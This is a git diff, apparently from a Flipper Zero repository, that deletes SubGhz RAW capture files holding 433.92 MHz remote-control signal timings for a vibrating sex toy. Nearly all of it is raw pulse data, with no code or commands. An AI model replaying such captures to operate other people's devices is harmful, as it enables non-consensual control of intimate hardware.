695 -166 97 -100 99 -100 397 -132 461 -134 99 -98 663 -100 231 -166 329 -98 463 -100 99 -200 199 -660 823 -132 885 -132 65 -166 263 -132 663 -100 195 -164 163 -198 131 -166 365 -232 231 -698 295 -100 97 -166 329 -134 99 -100 459 -98 393 -232 363 -166 65 -66 263 -162 197 -364 165 -198 99 -398 397 -134 197 -68 263 -68 397 -200 297 -166 133 -68 97 -66 561 -132 197 -166 133 -100 435 -66 297 -66 265 -100 365 -264 65 -166 361 -166 397 -66 165 -232 99 -132 231 -100 233 -200 65 -100 197 -100 595 -132 293 -262 163 -394 263 -66 129 -132 459 -98 197 -66 923 -132 261 -98 425 -98 363 -230 97 -66 557 -66 231 -98 723 -132 229 -100 195 -132 361 -98 163 -66 263 -98 359 -132 97 -198 329 -66 491 -164 165 -100 133 -466 363 -98 791 -592 463 -100 233 -100 431 -132 131 -68 961 -100 459 -98 263 -66 293 -66 855 -66 297 -66 359 -98 4173 -100 331 -68 2353 -66 1065 -66 2149 -132 165 -98 65 -198 461 -166 563 -234 65 -166 267 -200 363 -464 697 -332 199 -100 165 -496 331 -100 199 -166 131 -134 433 -98 99 -68 429 -168 65 -100 165 -168 299 -98 133 -66 431 -66 399 -134 133 -98 497 -164 297 -166 457 -98 785 -264 197 -64 263 -130 523 -66 97 -66 425 -726 131 -300 131 -232 233 -98 265 -100 165 -66 199 -100 131 -66 297 -198 163 -132 131 -98 887 -68 361 -366 1021 -100 265 -98 457 -64 631 -134 431 -298 133 -100 729 -132 531 -428 265 -66 165 -66 99 -100 595 -134 299 -164 1189 -66 229 -198 165 -100 667 -366 327 -162 1453 -298 463 -198 165 -66 367 -132 99 -100 165 -68 99 -132 99 -166 65 -334 199 -200 99 -134 331 -166 167 -100 661 -66 265 -132 167 -170 363 -330 265 -132 -RAW_Data: 165 -66 65 -98 963 -66 99 -66 1259 -132 133 -66 333 -100 2021 -100 365 -100 595 -164 981 -100 623 -132 427 -132 297 -198 763 -98 3697 -66 459 -232 131 -68 9539 -66 261 -64 1783 -100 1051 -66 429 -232 597 -66 2125 -198 267 -100 761 -100 565 -100 65 -100 265 -66 3225 -132 793 -100 5101 -66 1311 -98 2711 -234 463 -66 995 -66 99 -164 761 -100 2283 -166 797 -98 2421 -66 2143 -66 165 -164 827 -298 1551 -134 1031 -66 331 -68 827 -66 2313 -166 233 -98 99 -164 131 -134 197 -66 331 -100 497 -200 65 -66 197 -132 361 -298 625 -166 163 -132 65 -66 297 -132 2339 -66 587 -100 65 -230 261 -264 265 -102 497 -328 131 -66 557 -66 361 -166 463 -132 199 -100 167 -68 165 -792 427 -66 165 -198 763 -132 131 -100 131 -100 199 -134 199 -166 67 -100 165 -400 231 -100 165 -100 199 -166 99 -100 267 -234 397 -332 65 -264 263 -198 261 -164 491 -98 557 -66 265 -64 65 -66 229 -66 395 -66 295 -332 461 -130 165 -164 431 -428 299 -100 197 -330 163 -200 695 -132 97 -196 65 -100 197 -98 395 -66 197 -130 429 -66 263 -66 327 -130 197 -98 263 -100 333 -166 267 -134 497 -100 65 -100 199 -102 467 -98 199 -166 431 -134 199 -200 459 -266 265 -66 693 -132 265 -166 261 -134 199 -166 67 -100 265 -68 297 -66 431 -100 499 -66 1449 -66 2237 -100 763 -68 1779 -132 327 -98 2285 -166 263 -66 293 -132 1351 -164 267 -98 397 -166 231 -500 395 -166 165 -166 99 -132 429 -66 161 -132 263 -264 97 -66 165 -98 393 -98 661 -132 331 -132 399 -268 199 -266 231 -630 265 -132 133 -98 67 -132 495 -66 365 -166 99 -100 265 -166 367 -132 167 -100 667 -164 397 -232 197 -832 431 -298 295 -166 165 -132 99 -132 133 -132 131 -100 131 -264 559 -66 853 -100 229 -166 531 -166 233 -66 697 -134 233 -234 131 -66 99 -166 165 -98 65 -100 329 -132 359 -132 163 -264 295 -232 461 -132 497 -196 97 -198 129 -66 165 -98 297 -166 97 -460 131 -164 65 -328 197 -296 363 -398 197 -134 397 -396 233 -66 501 -166 365 -66 399 -132 265 -68 997 -266 365 -198 199 -132 399 -132 299 -398 955 -66 787 -66 1521 -66 129 -68 65 -300 331 -200 1193 -100 165 -268 231 -100 1031 -66 463 -200 165 -132 425 -100 131 -98 163 -230 99 -132 165 -200 99 -66 165 -134 167 -766 929 -232 431 -266 429 -130 197 -100 231 -564 131 -402 231 -166 131 -64 229 -132 295 -66 331 -394 65 -66 297 -132 101 -134 335 -330 -RAW_Data: 497 -66 297 -66 591 -132 165 -66 527 -66 5823 -232 1085 -100 2685 -134 231 -132 365 -66 631 -98 431 -100 233 -132 365 -100 427 -100 661 -164 463 -68 887 -66 229 -66 6689 -134 2551 -134 67 -68 1481 -164 1087 -198 525 -100 831 -100 133 -98 299 -66 1655 -66 755 -66 5385 -164 1817 -166 435 -66 563 -132 231 -198 131 -64 435 -132 201 -166 527 -98 1395 -134 495 -66 1025 -166 3995 -100 2341 -66 1057 -196 231 -164 429 -98 2335 -198 229 -64 197 -98 165 -66 295 -98 461 -66 6425 -98 863 -68 2789 -68 597 -132 457 -100 263 -202 331 -132 829 -166 131 -134 165 -132 533 -132 97 -166 331 -66 331 -630 131 -200 267 -164 265 -234 531 -100 661 -164 329 -100 131 -98 295 -198 261 -198 231 -98 855 -100 261 -66 227 -164 65 -134 131 -98 229 -132 163 -132 97 -560 131 -132 325 -66 329 -98 231 -592 97 -134 461 -66 231 -228 229 -66 129 -98 393 -164 299 -366 231 -66 165 -132 131 -100 463 -166 265 -828 431 -532 429 -134 431 -168 895 -66 893 -66 3247 -66 67 -98 525 -132 985 -66 327 -100 1851 -232 99 -66 131 -132 299 -398 265 -332 133 -66 165 -166 395 -166 99 -300 197 -100 597 -100 165 -134 197 -100 995 -98 267 -66 931 -100 197 -98 365 -66 461 -68 165 -166 365 -198 199 -66 233 -232 231 -66 199 -132 65 -166 133 -166 397 -100 431 -66 299 -166 133 -66 199 -98 133 -198 265 -264 133 -66 297 -330 197 -132 295 -100 635 -98 165 -198 229 -198 395 -132 263 -494 197 -66 425 -132 163 -196 97 -164 97 -66 297 -132 563 -98 133 -102 131 -66 463 -66 99 -100 431 -362 263 -132 361 -164 327 -132 231 -166 529 -102 395 -66 263 -66 261 -164 197 -196 657 -198 65 -68 363 -262 731 -66 131 -166 99 -132 729 -166 167 -68 197 -134 793 -166 99 -66 233 -164 167 -136 165 -66 431 -166 99 -166 131 -132 133 -198 531 -134 165 -396 263 -98 199 -100 197 -100 1031 -232 763 -264 165 -100 131 -100 197 -100 265 -132 99 -132 463 -366 531 -198 397 -100 427 -134 431 -132 729 -100 263 -500 461 -68 363 -134 131 -68 199 -400 197 -134 297 -200 799 -100 97 -132 131 -234 99 -332 1059 -232 65 -132 727 -132 1093 -100 231 -996 1025 -98 165 -232 897 -298 727 -98 65 -100 261 -132 723 -66 361 -558 97 -100 195 -166 691 -264 65 -64 197 -66 99 -132 731 -164 99 -198 529 -68 65 -98 333 -100 365 -66 267 -100 561 -66 299 -166 395 -166 297 -166 531 -430 531 -66 427 -132 295 -132 -RAW_Data: 1017 -130 165 -164 65 -98 4031 -132 535 -66 1723 -100 463 -100 1259 -464 1129 -132 1919 -132 1131 -100 1259 -134 299 -168 3533 -824 447 -846 413 -842 425 -822 441 -834 409 -840 435 -930 361 -838 1303 -408 447 -414 407 -572 303 -390 413 -452 387 -454 135 -858 411 -834 195 -60 151 -434 441 -388 447 -414 155 -62 187 -440 415 -852 419 -430 397 -434 413 -418 417 -834 441 -858 427 -406 415 -850 409 -418 411 -838 439 -402 421 -876 413 -412 427 -936 327 -836 449 -810 425 -836 413 -856 395 -862 421 -844 403 -848 413 -854 425 -838 1709 -388 443 -384 443 -416 409 -416 445 -414 417 -408 447 -844 399 -852 411 -410 423 -424 443 -382 451 -820 445 -418 417 -414 409 -418 423 -868 407 -432 385 -844 447 -418 427 -840 421 -414 411 -846 415 -416 417 -848 441 -388 445 -810 429 -846 449 -820 421 -842 447 -842 413 -814 449 -820 421 -842 453 -816 441 -812 1699 -422 415 -420 429 -428 409 -416 417 -420 439 -410 413 -850 441 -822 417 -418 417 -418 439 -426 387 -844 447 -382 441 -412 445 -416 419 -834 413 -440 443 -808 425 -398 439 -846 417 -408 445 -808 427 -410 447 -842 433 -388 445 -808 429 -854 411 -832 411 -850 437 -822 421 -844 425 -852 381 -872 409 -842 421 -848 1693 -420 427 -418 405 -426 441 -382 447 -416 417 -414 423 -838 449 -842 413 -418 417 -416 407 -438 415 -842 439 -410 415 -420 417 -454 405 -820 445 -420 423 -834 413 -442 395 -852 413 -410 423 -848 413 -442 429 -844 385 -442 411 -842 427 -852 411 -840 409 -844 419 -850 437 -814 451 -820 421 -840 419 -848 441 -814 1707 -420 381 -446 421 -418 413 -426 443 -382 417 -420 437 -862 421 -810 429 -424 443 -380 447 -418 429 -838 419 -416 409 -418 441 -418 415 -834 441 -416 415 -836 441 -418 413 -834 409 -452 387 -870 413 -420 427 -820 421 -446 413 -836 415 -850 409 -850 417 -842 431 -854 413 -856 399 -860 419 -846 399 -850 411 -856 1677 -424 409 -444 413 -424 427 -418 409 -396 439 -416 419 -848 439 -814 451 -416 409 -396 439 -414 447 -844 413 -418 419 -414 409 -420 441 -848 409 -418 411 -844 447 -382 441 -844 419 -418 409 -848 449 -380 447 -846 413 -416 419 -137384 99 -858 167 -398 265 -100 365 -890 65 -262 165 -98 229 -296 197 -162 231 -132 199 -166 461 -66 431 -396 497 -98 99 -66 231 -166 365 -100 165 -198 297 -566 397 -132 63 -132 229 -760 99 -230 297 -100 263 -100 797 -132 65 -100 595 -364 461 -166 235 -100 527 -262 97 -132 963 -98 -RAW_Data: 465 -132 197 -66 1873 -68 6135 -102 333 -66 695 -100 99 -98 10923 -132 167 -66 2323 -68 463 -64 1261 -66 761 -134 13615 -200 1095 -66 329 -132 1219 -164 1155 -100 4705 -66 4385 -166 1531 -66 631 -100 2257 -98 621 -100 327 -68 99 -66 6143 -132 395 -132 2615 -98 199 -98 433 -100 1863 -66 233 -66 599 -332 625 -66 293 -66 1387 -100 2227 -66 5243 -100 1291 -66 7471 -100 265 -100 329 -198 263 -198 65 -130 195 -66 391 -66 165 -100 433 -100 265 -68 465 -166 195 -164 97 -330 1811 -98 395 -66 917 -198 297 -66 763 -66 1219 -64 921 -132 97 -200 229 -198 195 -132 427 -66 659 -164 295 -98 65 -362 263 -228 165 -130 1091 -98 199 -134 427 -100 623 -164 821 -98 231 -98 455 -166 231 -100 333 -66 595 -264 693 -164 229 -164 493 -166 461 -362 595 -132 497 -100 97 -132 429 -98 263 -232 297 -66 195 -132 163 -132 1161 -66 1095 -132 923 -66 461 -66 433 -200 329 -100 1381 -66 527 -300 165 -100 263 -166 227 -428 261 -66 529 -98 131 -66 197 -100 925 -100 361 -98 361 -264 195 -66 163 -262 427 -166 99 -98 331 -98 299 -66 199 -68 501 -164 133 -398 499 -132 229 -100 395 -100 265 -132 261 -98 327 -164 199 -134 299 -264 499 -100 597 -100 199 -102 65 -100 761 -68 495 -134 329 -466 263 -134 165 -102 297 -132 229 -232 361 -230 361 -164 461 -232 165 -66 297 -200 397 -134 263 -66 397 -166 331 -66 595 -368 131 -64 429 -100 297 -66 661 -166 131 -162 757 -100 131 -100 465 -134 199 -132 565 -132 133 -66 501 -134 797 -200 227 -130 165 -266 495 -66 857 -166 197 -134 231 -132 167 -100 129 -132 65 -98 329 -98 631 -132 263 -132 133 -100 199 -298 65 -132 67 -132 463 -132 465 -198 365 -98 165 -132 99 -134 497 -330 231 -100 163 -134 231 -134 165 -98 299 -66 529 -66 197 -100 565 -134 297 -168 397 -132 265 -100 429 -100 363 -100 361 -98 5415 -66 2975 -98 4465 -66 261 -98 165 -234 65 -400 831 -66 265 -198 133 -166 397 -298 165 -134 197 -166 99 -132 267 -66 597 -66 165 -200 529 -66 663 -100 231 -166 65 -166 201 -100 233 -66 329 -100 231 -134 563 -134 167 -134 365 -198 531 -266 363 -166 397 -296 559 -164 263 -196 327 -232 167 -66 697 -68 199 -132 167 -366 235 -100 231 -166 1163 -132 99 -100 231 -134 297 -332 229 -168 167 -98 297 -132 299 -730 365 -134 99 -332 65 -132 465 -134 131 -132 165 -134 197 -134 597 -132 335 -198 231 -132 629 -134 231 -166 165 -530 -RAW_Data: 397 -166 1591 -66 2687 -132 131 -100 1225 -66 529 -100 1257 -66 99 -130 131 -132 427 -98 297 -232 363 -66 233 -132 5149 -68 6099 -166 559 -330 523 -166 495 -134 3077 -100 1851 -66 425 -68 1783 -64 789 -198 887 -98 2309 -66 1575 -232 2353 -66 1493 -100 925 -98 7877 -66 2621 -68 165 -100 1383 -100 5603 -66 12319 -132 129 -196 489 -100 557 -66 165 -230 757 -162 263 -100 599 -166 199 -100 131 -98 329 -166 99 -66 199 -132 231 -134 729 -594 197 -66 1825 -100 65 -66 365 -134 1161 -134 229 -132 1023 -66 129 -132 1917 -68 1823 -98 363 -660 293 -262 625 -100 499 -166 565 -598 365 -168 461 -100 529 -232 1325 -68 261 -132 163 -66 133 -98 233 -100 231 -130 227 -66 297 -132 525 -66 429 -132 791 -100 197 -98 691 -166 199 -166 65 -130 133 -198 461 -66 659 -396 363 -100 533 -66 265 -200 295 -100 229 -164 263 -166 331 -134 99 -98 567 -66 99 -100 397 -532 165 -134 299 -132 463 -66 463 -166 365 -166 297 -132 361 -66 165 -100 199 -166 829 -68 497 -264 65 -66 463 -134 197 -100 167 -166 263 -134 99 -66 497 -100 331 -232 197 -66 361 -330 397 -66 165 -134 431 -298 165 -100 795 -198 99 -298 99 -132 131 -132 363 -100 165 -560 293 -100 329 -132 361 -132 395 -132 199 -166 861 -164 895 -66 1521 -64 2929 -66 165 -166 499 -66 3479 -66 335 -66 531 -98 333 -68 229 -132 395 -166 629 -66 631 -132 165 -66 917 -562 493 -98 393 -130 197 -98 195 -132 361 -66 229 -196 263 -132 561 -164 233 -232 165 -100 431 -68 99 -66 529 -166 233 -100 131 -66 531 -98 263 -66 359 -164 825 -132 229 -230 1131 -132 399 -168 331 -66 691 -396 499 -66 199 -166 629 -164 199 -364 65 -66 331 -130 263 -66 455 -66 227 -262 329 -132 133 -100 199 -134 463 -232 99 -132 399 -232 261 -66 133 -132 197 -162 687 -98 659 -130 361 -262 297 -98 229 -198 1051 -134 197 -132 333 -134 133 -432 297 -132 99 -134 165 -68 699 -132 265 -66 133 -66 129 -66 265 -134 231 -166 331 -100 497 -100 265 -232 233 -100 891 -134 133 -100 65 -134 133 -100 133 -100 367 -200 665 -132 195 -230 231 -132 131 -328 463 -98 589 -198 767 -230 367 -100 463 -132 333 -296 65 -132 161 -98 359 -66 721 -100 297 -134 99 -434 265 -198 265 -66 265 -132 757 -66 531 -334 397 -132 563 -134 197 -134 199 -100 297 -68 1057 -130 99 -64 427 -130 63 -66 329 -100 895 -100 429 -100 365 -66 231 -134 99 -132 99 -132 65 -200 -RAW_Data: 631 -98 163 -98 1281 -132 2485 -66 399 -98 297 -232 133 -66 99 -134 263 -68 3395 -100 3829 -66 265 -66 263 -66 4039 -66 1031 -100 661 -134 701 -66 333 -68 8633 -164 1119 -68 1583 -100 1019 -66 7339 -66 4057 -100 395 -100 1457 -66 1053 -166 863 -66 99 -66 689 -132 2427 -98 499 -132 761 -266 1131 -98 2949 -66 1867 -102 1751 -100 857 -98 327 -66 2079 -66 2175 -100 233 -98 199 -100 465 -396 231 -164 431 -100 465 -166 1093 -132 167 -100 1261 -66 165 -132 465 -166 563 -98 233 -166 65 -66 197 -66 431 -166 499 -132 659 -166 497 -100 933 -66 631 -134 131 -100 661 -400 397 -234 199 -134 333 -134 663 -98 723 -196 229 -98 325 -66 197 -98 165 -66 263 -200 759 -428 395 -132 427 -164 133 -198 99 -66 197 -132 195 -100 393 -230 329 -130 293 -100 165 -100 367 -164 595 -168 557 -66 825 -132 231 -66 1793 -196 197 -68 331 -100 335 -100 297 -100 231 -232 197 -134 165 -298 397 -134 463 -632 889 -132 265 -262 427 -66 1057 -100 133 -100 231 -98 699 -164 327 -198 491 -66 789 -100 363 -130 495 -134 263 -464 65 -66 299 -66 395 -130 361 -132 917 -66 523 -166 329 -66 565 -166 629 -596 165 -100 297 -66 99 -398 265 -166 237 -100 297 -132 433 -134 299 -132 827 -100 97 -134 295 -166 297 -98 133 -166 99 -298 99 -66 365 -66 961 -68 527 -66 761 -66 261 -232 163 -132 295 -132 261 -66 327 -198 1161 -200 629 -100 5639 -68 897 -98 4569 -166 1763 -66 1929 -166 465 -100 631 -66 397 -100 329 -132 133 -134 333 -200 65 -168 397 -100 431 -98 399 -100 131 -100 529 -134 231 -168 97 -100 131 -132 65 -164 261 -98 231 -64 359 -132 131 -98 199 -66 229 -292 265 -164 589 -100 163 -130 229 -132 261 -130 297 -98 195 -66 261 -166 197 -64 393 -196 263 -196 593 -166 393 -66 361 -132 393 -228 295 -132 263 -64 197 -132 327 -66 393 -66 793 -132 365 -166 199 -200 397 -98 827 -66 397 -66 1453 -98 493 -64 297 -66 531 -166 267 -102 1793 -132 2979 -198 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_06_3.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_06_3.sub deleted file mode 100644 index 325091967..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_06_3.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: -68 2739 -100 6009 5112 4443 -66 1791 -100 21011 -166 26601 -98 10611 -100 14265 -66 22367 -66 20083 -98 1245 -100 7951 -98 3833 -100 3935 -132 529 -66 10931 -66 24537 -100 13035 -66 4285 -66 14107 -100 4755 -98 9689 -68 2717 -66 865 -100 6527 -100 6785 -100 3995 -98 5457 -66 11327 -198 623 -66 1143 -100 1867 -64 11135 -66 18199 -100 2345 -100 8245 -66 7271 -64 15749 -66 3301 -66 19939 -64 27919 -872 395 -856 383 -864 413 -874 417 -854 409 -846 419 -850 415 -870 1697 -432 389 -444 415 -444 393 -426 443 -416 409 -456 389 -870 409 -864 383 -448 411 -426 423 -444 415 -836 411 -448 389 -450 407 -426 411 -876 399 -424 443 -846 437 -388 443 -846 403 -454 415 -846 433 -388 443 -846 437 -418 415 -846 401 -872 421 -856 379 -874 397 -866 413 -842 439 -844 387 -884 389 -876 407 -848 1697 -412 443 -416 409 -434 417 -448 387 -450 403 -424 441 -844 399 -852 415 -450 403 -424 441 -416 411 -852 413 -844 425 -426 407 -416 449 -852 409 -848 415 -838 413 -452 401 -850 417 -450 403 -852 415 -450 399 -852 413 -410 437 -846 421 -854 381 -902 379 -874 383 -884 407 -844 421 -870 383 -868 413 -870 379 -882 1655 -450 411 -442 383 -448 429 -430 407 -418 415 -450 379 -868 417 -848 439 -418 415 -418 441 -430 387 -876 407 -848 413 -418 443 -420 411 -874 379 -878 409 -846 425 -430 409 -878 397 -426 411 -878 395 -424 409 -878 397 -426 411 -878 397 -880 383 -870 415 -870 389 -874 417 -820 439 -848 391 -890 379 -884 397 -870 1701 -420 413 -416 411 -440 417 -448 387 -442 411 -448 411 -862 417 -848 401 -424 445 -414 409 -438 415 -846 439 -858 417 -416 407 -438 417 -842 411 -864 417 -848 441 -418 415 -846 439 -420 415 -844 401 -422 443 -846 403 -422 445 -846 433 -848 419 -858 381 -884 399 -864 417 -846 433 -850 419 -850 389 -876 413 -848 1697 -398 435 -416 447 -388 441 -410 417 -450 419 -412 445 -844 397 -882 383 -452 407 -426 411 -446 413 -848 417 -846 427 -424 441 -416 419 -856 411 -846 419 -836 415 -438 435 -842 425 -430 409 -846 425 -426 409 -842 425 -444 415 -844 435 -844 385 -870 413 -852 425 -838 419 -848 437 -846 423 -824 441 -854 427 -838 1707 -388 447 -416 417 -434 427 -410 417 -450 391 -452 403 -850 415 -852 423 -442 413 -420 429 -400 439 -844 423 -850 413 -440 427 -418 415 -848 441 -814 415 -854 421 -444 413 -856 425 -408 415 -850 437 -432 417 -848 409 -418 411 -118904 65 -1624 231 -468 131 -364 395 -66 131 -200 131 -266 2719 -RAW_Data: -66 929 -166 1057 -66 3573 -66 297 -66 2967 -98 8549 -66 15241 -100 2789 -100 15453 -66 18225 -68 15893 -164 5919 -66 1651 -68 699 -68 10243 -66 3927 -68 465 -64 18445 -66 11247 -132 885 -66 26457 -66 7461 -66 1417 -98 5361 -100 18025 -64 9647 -98 853 -100 10323 -130 9831 -100 5017 -68 1763 -98 12107 -66 3507 -100 1361 -96 3015 -66 8979 -66 7329 -66 8387 -66 2633 -134 7965 -66 26443 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_06_4.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_06_4.sub deleted file mode 100644 index 6624872f8..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_06_4.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: -100 12251 11385 9219 -98 2235 -132 8777 -66 653 -66 129 -66 5363 -98 919 -68 197 -200 2921 -66 1123 -98 1109 -100 2035 -98 781 -100 3649 -100 731 -100 4389 -98 65 -68 2891 -66 831 -66 497 -68 533 -98 697 -66 3187 -68 3047 -64 295 -66 9705 -66 3023 -100 1331 -100 2749 -68 17721 -64 6263 -100 8061 -68 13121 -98 591 -66 593 -66 1521 -100 6753 -68 365 -66 2425 -66 1427 -66 1359 -66 461 -66 10733 -166 2307 -100 501 -66 963 -66 1033 -66 5347 -268 7143 -66 1335 -66 333 -164 7741 -66 7935 -66 27721 -66 1295 -200 597 -132 133 -132 3551 -134 591 -132 15325 -100 3439 -98 623 -98 2899 -134 3623 -132 3727 -132 3095 -98 9223 -66 3389 -134 3411 -132 293 -100 2385 -66 12529 -98 565 -66 4119 -98 4353 -130 2485 -100 499 -100 893 -132 2779 -64 3913 -100 2793 -154 151 -870 419 -852 99 -216 91 -838 443 -854 103 -1166 411 -846 163 -1130 417 -856 129 -246 1289 -418 421 -520 353 -398 433 -416 445 -482 347 -442 415 -838 345 -952 409 -430 385 -612 245 -428 419 -868 319 -932 427 -408 415 -688 167 -866 397 -864 67 -242 107 -838 425 -430 409 -844 423 -412 445 -844 401 -424 445 -842 235 -628 417 -844 395 -848 417 -852 425 -870 413 -842 413 -874 395 -850 415 -854 425 -840 419 -850 1693 -442 63 -216 91 -438 411 -448 397 -436 133 -736 383 -446 421 -854 415 -872 389 -446 133 -690 419 -854 423 -442 415 -420 393 -436 435 -848 421 -398 437 -448 245 -62 93 -870 419 -428 415 -838 415 -418 415 -852 441 -418 415 -846 405 -428 445 -844 395 -872 421 -854 413 -856 397 -868 415 -842 433 -840 425 -850 415 -834 441 -846 1717 -418 275 -74 71 -420 423 -406 415 -450 325 -506 443 -388 445 -844 401 -850 415 -442 397 -450 417 -846 417 -522 311 -430 407 -414 445 -850 413 -416 417 -418 435 -860 417 -418 439 -822 449 -410 411 -854 417 -414 445 -848 411 -448 413 -848 411 -844 427 -854 413 -834 411 -850 435 -864 419 -846 431 -846 419 -858 381 -884 1679 -420 411 -444 413 -410 459 -386 445 -416 409 -440 417 -848 417 -862 413 -418 415 -418 437 -830 419 -446 419 -428 409 -446 413 -854 399 -432 415 -418 417 -854 425 -412 445 -856 395 -440 415 -850 417 -434 427 -838 419 -418 441 -826 451 -846 401 -848 415 -854 421 -840 453 -818 443 -846 417 -854 407 -834 411 -852 1711 -412 409 -456 387 -446 415 -410 427 -424 447 -412 411 -848 449 -842 433 -388 445 -414 413 -850 415 -418 451 -384 441 -442 381 -872 409 -448 413 -418 427 -856 411 -420 431 -RAW_Data: -852 411 -408 443 -844 421 -410 445 -842 437 -388 447 -844 441 -814 413 -856 421 -842 419 -850 443 -812 449 -856 381 -886 397 -864 419 -848 1689 -418 431 -394 439 -416 449 -388 441 -444 379 -448 421 -854 411 -834 411 -446 415 -420 433 -822 441 -408 439 -416 413 -414 439 -842 421 -418 453 -400 425 -836 421 -418 439 -842 421 -418 439 -828 453 -412 411 -848 451 -414 407 -132112 131 -2182 231 -164 985 -230 259 -66 21279 -68 1839 -66 4095 -200 4925 -66 627 -68 1459 -68 1059 -132 3585 -130 3823 -166 763 -100 6443 -66 263 -66 5749 -134 6595 -66 5273 -66 765 -68 1529 -98 361 -98 8485 -66 1029 -166 295 -130 361 -134 4135 -100 4101 -100 2123 -66 231 -68 4105 -66 2949 -132 1355 -98 3107 -166 2509 -98 2641 -166 727 -166 2143 -132 2797 -98 3471 -66 599 -66 2131 -100 2629 -66 4271 -100 657 -64 1847 -68 763 -100 3447 -100 4247 -66 8535 -130 4913 -100 1557 -66 2287 -132 297 -68 2183 -66 3653 -66 2351 -66 4333 -66 7337 -100 1263 -100 2205 -98 359 -166 5449 -66 16349 -66 931 -100 1855 -66 1719 -66 5593 -166 167 -66 4629 -100 2183 -66 1395 -134 2519 -98 3253 -100 535 -66 561 -68 1525 -100 7821 -66 5183 -100 4461 -66 2347 -98 4211 -66 4813 -166 889 -66 1793 -66 263 -66 957 -66 3593 -66 1021 -100 535 -68 3361 -98 2801 -132 585 -66 4539 -98 4273 -66 1527 -132 297 -66 1019 -66 2607 -68 2545 -66 16551 -134 431 -68 97 -66 1593 -100 8119 -68 99 -66 729 -98 2217 -166 1919 -100 795 -66 4761 -66 2093 -100 9423 -66 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_07_1.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_07_1.sub deleted file mode 100644 index 7f01b6551..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_07_1.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 2599 -98 7681 994 6625 -66 2523 -134 7961 -130 523 -64 1937 -66 4611 -98 2759 -98 4481 -66 885 -66 6459 -68 1597 -134 1219 -132 791 -166 3715 -98 4481 -98 3853 -100 231 -68 1389 -100 2845 -102 527 -100 2959 -98 233 -66 2389 -134 1893 -66 929 -66 2877 -100 2421 -166 1825 -66 291 -66 4899 -234 20289 -100 3391 -134 3657 -100 329 -134 3577 -64 1775 -98 2199 -132 791 -66 1877 -132 529 -98 5225 -100 1131 -66 2557 -100 2045 -132 985 -98 4213 -100 3371 -66 931 -102 493 -66 431 -98 233 -66 1565 -100 1293 -66 4571 -68 657 -66 2633 -66 1515 -66 4933 -98 1361 -134 133 -68 899 -68 13403 -66 1175 -98 2123 -66 6155 -100 1995 -66 7403 -198 3321 -68 2195 -66 6409 -66 929 -100 3391 -66 4481 -68 1281 -164 623 -130 4303 -66 163 -132 327 -66 2147 -100 6245 -66 1381 -66 2207 -66 3599 -66 335 -66 763 -100 2121 -132 233 -98 623 -66 553 -64 627 -66 2757 -134 593 -166 3567 -66 6447 -66 2207 -898 101 -136 101 -908 377 -916 97 -134 131 -886 383 -882 133 -104 143 -890 377 -880 263 -1010 1505 -590 423 -414 441 -418 347 -486 413 -444 419 -450 365 -902 383 -852 425 -444 415 -442 407 -418 415 -450 379 -868 417 -420 137 -408 427 -442 383 -880 415 -866 383 -448 175 -70 171 -856 411 -416 417 -848 441 -418 415 -844 437 -418 415 -846 303 -984 385 -852 359 -946 401 -858 385 -880 401 -852 415 -856 425 -838 419 -848 1695 -416 433 -396 435 -416 445 -418 401 -436 417 -450 387 -856 423 -874 411 -844 415 -446 411 -420 273 -428 423 -836 453 -386 443 -412 413 -452 423 -856 379 -886 395 -468 381 -848 439 -430 417 -846 409 -418 409 -878 417 -428 409 -878 141 -830 437 -846 131 -858 421 -834 225 -870 415 -850 255 -866 425 -838 281 -988 1547 -580 437 -418 415 -418 377 -480 415 -416 433 -412 343 -954 421 -852 413 -838 423 -446 413 -640 201 -410 431 -844 427 -424 443 -416 407 -440 417 -840 409 -868 419 -418 437 -858 417 -416 281 -994 401 -426 409 -876 397 -422 443 -1044 201 -860 413 -1132 129 -864 409 -1122 177 -822 445 -844 99 -252 71 -844 397 -862 139 -1126 1381 -722 419 -452 405 -424 271 -586 417 -412 437 -396 307 -992 413 -842 313 -956 413 -420 435 -552 287 -432 411 -842 421 -418 435 -430 417 -418 417 -856 425 -840 419 -418 453 -804 443 -416 137 -1128 427 -430 409 -844 429 -426 443 -878 383 -822 413 -940 349 -840 447 -944 317 -828 443 -842 425 -854 411 -888 355 -866 1707 -398 437 -416 447 -416 69 -68 275 -414 423 -446 411 -420 -RAW_Data: 135 -806 421 -840 177 -826 437 -388 447 -416 441 -410 417 -840 251 -434 421 -418 411 -424 309 -858 423 -852 257 -418 439 -840 429 -428 411 -842 427 -410 413 -876 439 -388 447 -842 433 -846 419 -856 411 -822 435 -864 421 -844 433 -846 419 -856 411 -822 435 -866 1143 -426 447 -412 419 -462 387 -406 413 -452 427 -488 355 -826 443 -908 355 -842 421 -418 439 -426 417 -418 415 -866 337 -388 415 -446 417 -394 197 -822 421 -818 455 -432 415 -848 411 -420 409 -874 407 -436 273 -850 421 -414 413 -127570 197 -264 261 -130 197 -130 165 -230 65 -392 759 -100 3129 -66 3887 -66 7437 -100 593 -100 7051 -66 3267 -66 233 -98 835 -98 295 -130 755 -100 3499 -130 4149 -98 1443 -66 719 -98 